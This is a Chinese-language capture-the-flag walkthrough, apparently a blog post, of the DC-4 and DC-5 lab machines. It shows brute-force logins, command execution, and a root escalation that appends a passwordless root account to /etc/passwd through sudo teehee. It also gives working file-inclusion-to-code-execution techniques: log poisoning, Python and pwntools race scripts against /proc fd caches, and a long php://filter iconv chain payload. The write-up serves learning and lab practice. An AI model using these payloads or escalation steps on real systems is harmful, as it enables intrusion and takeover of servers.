4. DC-4
光秃秃的登录框,目录扫描了下,手动注入了下都没有,那么还是让你爆破,当然,你得找个国外的字典,我用的是这个。
https://github.com/rootphantomer/Blasting_dictionary/tree/master/常用英文用户名和奇葩密码
admin/happy登录后,发现似乎是个命令注入。不,甚至是个命令执行。
很明显,当前目录权限是root,而我们只有www-data权限,因此无法写入webshell,不过可以直接反弹shell。
这次就不要简单粗暴的拿exp打了,看看/etc/passwd发现了三个用户。
其中jim用户的目录中有个777权限的test.sh,以及一个备份字典。
test.sh内容只是无意义的echo,那么修改test.sh试一试‘
echo 'touch /tmp/123' > test.sh
但很遗憾,似乎test.sh并不在任务计划中,那么用old-passwords.bak为字典爆破ssh。
ssh登录之后,有个mail的提示。
将用户目录下的mbox文件改成777权限,然后查看一下。
好像只是个邮件测试文件,然后输入mail,选择1,发现了charles的密码。
Ctrl+Z回到bash,切换到charles用户,又是sudo -l的提权。
这是一个小众且简单的编辑器,直接编辑passwd即可。
cp /etc/passwd /tmp/passwd.bak
echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su raaj
5. DC-5
看起来只有一个提交意见的页面是有用的?难道后台存在一个触发xss的爬虫?
测试之后发现并不是,也不是SQL注入之类的。那么目录扫描。
只有footer.php和thankyou.php是主页上没有的,进去看了一下发现thankyou.php刚刚见过,是提交意见用的。
然后就没思路了,反复刷新了几下之后,发现这两个页面的Copyright © 2017的年份居然会变化。但这也说明不了什么,实在没思路,去瞄了一眼正确答案,居然是因为两个都会变化,所以thankyou.php是包含footer.php的,所以thankyou.php存在一个任意文件包含!
http://192.168.29.148/thankyou.php?file=/etc/passwd
这个设计者是什么脑回路。。。正常人都会想这个包含是写死在代码里的吧,怎么可能给个file参数让你控制,你还不如在js中给点提示。
好吧,任意文件包含,第一时间想的是否开启了allow_url_include=On,能否用那一系列伪协议。
http://192.168.29.148/thankyou.php?file=http://www.baidu.com
很显然不行,再确定中间件权限,也就是nginx的权限。
http://192.168.29.148/thankyou.php?file=/etc/shadow
很显然也不会给你root权限,那么尝试包含日志,apache的默认权限,为了防止你包含日志,是无法读到access.log的。nginx呢?
http://192.168.29.148/thankyou.php?file=/var/log/nginx/access.log
http://192.168.29.148/thankyou.php?file=/var/log/nginx/error.log
那么思路就明确了,先用burp发一个url路径或者User-Agent含恶意代码的包,然后包含access.log即可。成功getshell。
如果权限不够,无法包含日志还有什么办法呢?
(1),php-fpm(×)
可以从/proc/self/cmdline中看出来是php-fpm。
看到php-fpm就应该警觉,如果存在php-curl的ssrf,就可以用gopher协议打9000端口,如果存在file_put_contents($_GET['file'], $_GET['data'])的写法,也可以用ftp的被动模式打。
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://xz.aliyun.com/t/9544
不过这题从error.log上看是用的sock文件,也没有php-curl的ssrf。
(2),session(×)
包含session文件,利用session会记录PHP_SESSION_UPLOAD_PROGRESS参数表单进行条件竞争,在我最初的文章中有。不过这题没有开启phpsession。
https://mp.weixin.qq.com/s/fbIMJP3Svwl8fbYa62lAPg
(3),pear.php(×)
P牛捂了很久的pear.php,但这题不是docker,一般不会有pear.php。
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
(4),上传缓存(×)
包含上传缓存文件,如果有phpinfo的话,可以利用phpinfo回显缓存文件名进行条件竞争。没有phpinfo,就只能利用漏洞使程序崩溃而留下上传缓存文件。上篇pear文章中有过很详细的介绍,但这题也不能用。
(5),nginx缓存(√)
除了包含上传缓存文件之外,还有同样包含nginx进程的办法的,下面这篇文章介绍了两种。
https://tttang.com/archive/1384/
其原理是利用php远程下载文件的缓存文件会因为打开文件句柄在/proc/pid/fd/目录下,nginx的大body文件同理。因此只需要猜测pid和fd,大大降低利用难度。
可以看到我们可读的pid有7个,其中php-fpm虽然也是www-data用户但fd不可读。
ls -alt /proc/549/fd/ && ls -alt /proc/550/fd/ && ls -alt /proc/551/fd/ && ls -alt /proc/552/fd/
可以发现每个pid都有fd日志,也就是access.log和error.log,包含这个也可以但没有意义。
但同时过大的php请求外部文件,也会经过fastcgi处理。
这里我测试成功了,让php反复请求外部一个2M的powershell文件,随便找的一个大小合适的。
在DC-5上写这么一段php代码,然后burp请求1000个包。
<?php
echo file_get_contents('http://192.168.29.1:81/1.ps1');
然后写个脚本,不断包含这4个nginx进程的14-30的fd。
import requests
import time
#fo = open("url.txt","a")
while True:
for i in range(14,31):
for ii in [549,550,551,552]:
url = "http://192.168.29.148/thankyou.php?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/"
url = url+str(ii)+"/fd/"+str(i)
r = requests.get(url)
if "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" in r.text:
#if 1==1:
#time.sleep(1)
print(r.text)
print(url)
#fo.write(r.text+'\n')
exit()
最终可以包含成功。
但是这个用法必须有个SSRF,这题并没有SSRF,所以只能用另外一个办法,nginx的大body缓存。
同样用作者的思路测试成功,大body脚本不要用burp,用tcp模拟并延迟,多试几次即可。
from pwn import *
import time
l = remote('192.168.29.148',80)
payload = "BBBBBBBBBBBBBBBBBBBBBBBBB\n"
data = payload + "B" * 11 * 1024
l.send('''POST / HTTP/1.1
Host: 192.168.29.148
Content-Length: {}
{}'''.format(len(data) + 11, data))
time.sleep(10)
l.close()
这个利用方法猜测pid比较麻烦,要遍历/proc/pid/cmdline,然后竞争时还要遍历fd,很容易将靶场的nginx打崩,实战中慎用。
(6),php://filter(√)
最后则是我前段时间讲过的php://filter特性文件包含,可以完美应对这个环境!
https://mp.weixin.qq.com/s/ujxmyvRUaMN_rV7u5xZqtw
http://192.168.29.148/thankyou.php?file=php://filter/convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.base64-decode/resource=/etc/passwd
拿到shell之后的提权又是无聊的SUID,和前面一样的套路去msf搜exp,就不赘述了。
searchsploit screen 4.5.0